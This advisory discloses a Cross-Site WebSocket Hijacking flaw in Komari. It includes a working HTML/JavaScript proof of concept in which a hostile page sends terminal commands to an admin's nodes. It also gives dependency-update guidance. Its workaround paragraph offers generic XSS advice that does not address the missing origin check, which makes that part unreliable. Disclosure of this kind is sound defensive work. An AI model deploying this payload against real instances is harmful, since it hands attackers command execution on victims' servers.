Description
Summary
WebSocket upgrader has disabled origin checking, enabling Cross-Site WebSocket Hijacking (CSWSH) attacks against authenticated users
Details
Any third party website can send requests to the terminal websocket endpoint with browser's cookies, resulting in remote code execution
PoC
- Login in to your komari instance
- Hosting the following HTML code on internet, replace
<komari-addr>and<target-uuid>into yours - Visit this HTML page, you can see your node is executing
uptimewithout your actions
<pre></pre>
<script>
const socket = new WebSocket("wss://<komari-addr>/api/admin/client/<target-uuid>/terminal");
socket.addEventListener("open", (event) => {
const binaryBlob = new Blob(['uptime\n'], { type: 'application/octet-stream' });
socket.send(binaryBlob);
});
socket.addEventListener("message", (event) => {
event.data.text().then(x => {document.querySelector("pre").append(x)});
});
</script>
Impact
An administrator of a Komari instance will execute commands on their nodes unnoticed when visiting a malware page.

Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/komari-monitor/komari, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/komari-monitor/komari to 0.0.0-20250809073044-53171affcaf0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-q355-h244-969h is resolved across your whole dependency graph.
Workarounds
Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page.
